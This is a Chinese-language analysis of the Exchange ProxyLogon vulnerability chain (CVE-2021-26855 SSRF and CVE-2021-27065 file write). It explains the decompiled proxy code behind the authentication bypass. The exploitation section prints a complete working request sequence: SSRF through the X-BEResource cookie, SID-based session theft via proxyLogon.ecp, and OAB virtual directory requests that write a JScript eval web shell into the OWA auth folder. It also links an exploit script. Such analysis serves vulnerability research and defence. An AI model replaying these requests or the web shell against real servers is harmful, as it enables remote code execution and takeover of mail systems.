Exchange ProxyLogon漏洞分析

Exchange ProxyLogon漏洞分析

前言

续前文继续学习Exchange漏洞

Proxyshell

影响范围

Exchange Server 2019 < 15.02.0792.010

Exchange Server 2019 < 15.02.0721.013

Exchange Server 2016 < 15.01.2106.013

Exchange Server 2013 < 15.00.1497.012

攻击流程

1、 通过SSRF漏洞攻击,访问autodiscover.xml泄露LegacyDN信息

2、 在通过LegacyDN, 获取SID

3.、然后通过合法的SID,获取exchange的有效cookie

4.、最后通过有效的cookie,对OABVirtualDirectory对象进行恶意操作，写入一句话木马

ProxyLogon是通过利用CVE-2021-26855 SSRF 漏洞，然后使用CVE-2021-27065 任意文件写入漏洞组合进行利用。

漏洞复现

github地址：https://github.com/jeningogo/exchange-ssrf-rce/blob/main/exchange-exp.py

python .\exchange.py 192.168.0.16 administrator@klion.local

该漏洞需要一个邮箱账户

漏洞分析

Exchange使用的是cas架构，如下图

iis节点中可以看到有2个节点，一个架设在80，443 另外一个在81，444端口中。

分别是Frontend 和 Backend。这里面的一些功能也不一样。Frontend ，前端必须包含一个代理模块。代理模块从客户端获取 HTTP 请求并添加一些内部设置，然后将请求转发到后端。后端中负责解析前端请求等作用。

每个前端中的每个模块都有配有FrontEndHttpProxy模块

cd C:\Windows\System32\inetsrv

appcmd list wp

查看iis进程池，dnsdy附加进程开始调试

ProxyModule 代码如下

public class ProxyModule : IHttpModule
	{
		// Token: 0x17000080 RID: 128
		// (get) Token: 0x0600027F RID: 639 RVA: 0x0000EE08 File Offset: 0x0000D008
		// (set) Token: 0x06000280 RID: 640 RVA: 0x0000EE10 File Offset: 0x0000D010
		internal PfdTracer PfdTracer { get; set; }

		// Token: 0x06000281 RID: 641 RVA: 0x0000EF60 File Offset: 0x0000D160
		public void Init(HttpApplication application)
		{
			Diagnostics.SendWatsonReportOnUnhandledException(delegate
			{
				LatencyTracker latencyTracker = new LatencyTracker();
				latencyTracker.StartTracking(LatencyTrackerKey.ProxyModuleInitLatency, false);
				ExTraceGlobals.VerboseTracer.TraceDebug<ProtocolType>((long)this.GetHashCode(), "[ProxyModule::Init]: Init called.  Protocol type: {0}", HttpProxyGlobals.ProtocolType);
				if (application == null)
				{
					string text = "[ProxyModule::Init]: ProxyModule.Init called with null HttpApplication context.";
					ExTraceGlobals.BriefTracer.TraceError((long)this.GetHashCode(), text);
					throw new ArgumentNullException("application", text);
				}
				this.PfdTracer = new PfdTracer(0, this.GetHashCode());
				application.BeginRequest += this.OnBeginRequest;
				application.AuthenticateRequest += this.OnAuthenticateRequest;
				application.PostAuthorizeRequest += this.OnPostAuthorizeRequest;
				application.PreSendRequestHeaders += this.OnPreSendRequestHeaders;
				application.EndRequest += this.OnEndRequest;
				ExTraceGlobals.VerboseTracer.TraceDebug<ProtocolType, long>((long)this.GetHashCode(), "[ProxyModule::Init]: Protocol type: {0}, InitLatency {1}", HttpProxyGlobals.ProtocolType, latencyTracker.GetCurrentLatency(LatencyTrackerKey.ProxyModuleInitLatency));
			});
		}

Microsoft.Exchange.HttpProxy.ProxyModule.Init(HttpApplication) -->
Microsoft.Exchange.HttpProxy.ProxyModule.OnPostAuthorizeRequest(object, EventArgs)-->
Microsoft.Exchange.HttpProxy.FbaModule.OnPostAuthorizeInternal(HttpApplication)-->
Microsoft.Exchange.HttpProxy.ProxyModule.OnPostAuthorizeInternal(HttpApplication)-->
Microsoft.Exchange.HttpProxy.ProxyModule.SelectHandlerForAuthenticatedRequest(HttpContext)

if语句走入三个if分支里面去，分别来看看不同的条件和处理

if (EDiscoveryExportToolProxyRequestHandler.IsEDiscoveryExportToolProxyRequest(httpContext.Request))

public static bool IsEDiscoveryExportToolRequest(HttpRequest request)
		{
			string absolutePath = request.Url.AbsolutePath;
			if (string.IsNullOrEmpty(absolutePath))
			{
				return false;
			}
			if (absolutePath.IndexOf("/exporttool/", StringComparison.OrdinalIgnoreCase) < 0)
			{
				return false;
			}
			EDiscoveryExportToolRequestPathHandler.EnsureRegexInit();
			return EDiscoveryExportToolRequestPathHandler.applicationPathRegex.IsMatch(absolutePath);
		}

该位置返回执行EDiscoveryExportToolProxyRequestHandler

第二个if条件，调用BEResourceRequestHanlder.CanHandle方法

BEResourceRequestHanlder.GetBEResouceCookie处代码

private static string GetBEResouceCookie(HttpRequest httpRequest)
		{
			string result = null;
			HttpCookie httpCookie = httpRequest.Cookies[Constants.BEResource];
			if (httpCookie != null)
			{
				result = httpCookie.Value;
			}
			return result;
		}

即获取Cookie中X-BEResource参数不为空

internal static bool IsResourceRequest(string localPath)
		{
			return localPath.EndsWith(Constants.ExtensionAxd, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionChromeWebApp, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionCss, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionEot, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionGif, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionJpg, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionJs, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionHtm, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionHtml, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionICO, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionManifest, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionMp3, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionMSI, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionPng, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionSvg, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionTtf, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionWav, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionWoff, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".bin", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".dat", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".flt", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".mui", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".xap", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".skin", StringComparison.OrdinalIgnoreCase);
		}

这里是对uri地址的验证，验证是否合法

/ecp/xx.(js|css|gif)等都是合法uri

Microsoft.Exchange.HttpProxy.ProxyRequestHandler -->BeginCalculateTargetBackEnd -->InternalBeginCalculateTargetBackEnd

protected override AnchorMailbox ResolveAnchorMailbox()
		{
			string beresouceCookie = BEResourceRequestHanlder.GetBEResouceCookie(base.ClientRequest);
			if (!string.IsNullOrEmpty(beresouceCookie))
			{
				base.Logger.Set(HttpProxyMetadata.RoutingHint, Constants.BEResource + "-Cookie");
				ExTraceGlobals.VerboseTracer.TraceDebug<string, int>((long)this.GetHashCode(), "[BEResourceRequestHanlder::ResolveAnchorMailbox]: BEResource cookie used: {0}; context {1}.", beresouceCookie, base.TraceContext);
				return new ServerInfoAnchorMailbox(BackEndServer.FromString(beresouceCookie), this);
			}
			return base.ResolveAnchorMailbox();
		}

以~进行分割字符串，~后面即为verison版本号

BeginProxyRequest-->GetTargetBackEndServerUrl()

protected void BeginProxyRequest(object extraData)
		{
			this.LogElapsedTime("E_BegProxyReq");
			this.CallThreadEntranceMethod(delegate
			{
				lock (this.LockObject)
				{
					this.HttpContext.SetActivityScopeOnCurrentThread(this.Logger);
					PerfCounters.IncrementMovingPercentagePerformanceCounterBase(PerfCounters.HttpProxyCountersInstance.MovingPercentageMailboxServerFailure);
					try
					{
						Uri uri = this.GetTargetBackEndServerUrl();
						...

这里还有个条件判断，如果版本大于Server.E15MinVersion，ProxyToDownLevel则为false。这个是一个重点之一。

判断版本号小于1941962752版本则走入以上if逻辑代码中

1.设置HTTPS

2.Host即FQDN，xxxx.com

3.如果端口小于Server.E15MinVersion的值，端口会被设置为443

{
					UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();
					clientUrlForProxy.Scheme = Uri.UriSchemeHttps;
					clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;
					clientUrlForProxy.Port = 444;
					if (this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion)
					{
						this.ProxyToDownLevel = true;
						RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo(this.Logger, "ProxyToDownLevel", true);
						clientUrlForProxy.Port = 443;
					}
					result = clientUrlForProxy.Uri;
				}
			}

this.AnchoredRoutingTarget.BackEndServer.Fqdn;该位置的值可控，那么result的值也可控。

继续往下走逻辑来到该位置

调用this.CreateServerRequest将uri发送给后端服务器

调用this.PrepareServerRequest(httpWebRequest);进行身份认证。

这里返回false

调用 GenerateKerberosAuthHeader() 函数来 创建Kerberos 认证头部。这也是中间代理能够访问BackEnd Server的原因 。

ShouldBlockCurrentOAuthRequest函数里的ProxyToDownLevel是用来检查用户是否已通过身份验证；而当有请求调用BEResourceRequestHandler时，ShouldBackendRequestBeAnonymous()就会被调用。绕过认证，然后把数据包组成后发送给后端。后端响应请求，把数据返回给客户端。最后达到一个SSRF漏洞攻击的过程。

漏洞利用

这里ssrf去访问autodiscover.xml自动配置文件的原因是因为Autodiscover(自动发现)是自Exchange Server 2007开始推出的一项自动服务，用于自动配置用户在Outlook中邮箱的相关设置，简化用户登陆使用邮箱的流程。如果用户账户是域账户且当前位于域环境中，通过自动发现功能用户无需输入任何凭证信息即可登陆邮箱。autodiscover.xml 文件中包含有LegacyDN 的值，

POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Ex01.klion.local/autodiscover/autodiscover.xml?a=~1942062522;
Content-Type: text/xml
Content-Length: 375

    <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
        <Request>
          <EMailAddress>administrator@klion.local</EMailAddress>
          <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
        </Request>
    </Autodiscover>

需要提供一个邮箱账户,通过ssrf访问后端功能获取到LegacyDN的值。

然后使用LegacyDN，获取sid

获取完成后，使用sid获取cookie

POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@Ex01.klion.local:444/ecp/proxyLogon.ecp?a=~1942062522;
Content-Type: text/xml
msExchLogonMailbox: S-1-5-20
Content-Length: 247

<r at="Negotiate" ln="john"><s>S-1-5-21-169768398-886626631-87175517-500 ·sid·</s><s a="7"
    t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s
    a="3221225479" t="1">S-1-5-5-0-6948923</s></r>

文件上传

POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@Ex01.klion.local:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; ASP.NET_SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
Content-Type: application/json;
msExchLogonMailbox: S-1-5-20
Content-Length: 168

{"filter": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}}

POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@Ex01.klion.local:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; ASP.NET_SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
Content-Length: 399

{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "73fff9ed-d8f5-484e-9328-5b76048abdb2"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "ExternalUrl": "http://ffff/#<script language=\"JScript\" runat=\"server\"> function Page_Load(){/**/eval(Request[\"code\"],\"unsafe\");}</script> "}}}

POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@Ex01.klion.local:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; ASP.NET_SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
Content-Length: 393

{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "73fff9ed-d8f5-484e-9328-5b76048abdb2"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": "\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\BF2DmInPbRqNlrwT4CXo.aspx"}}}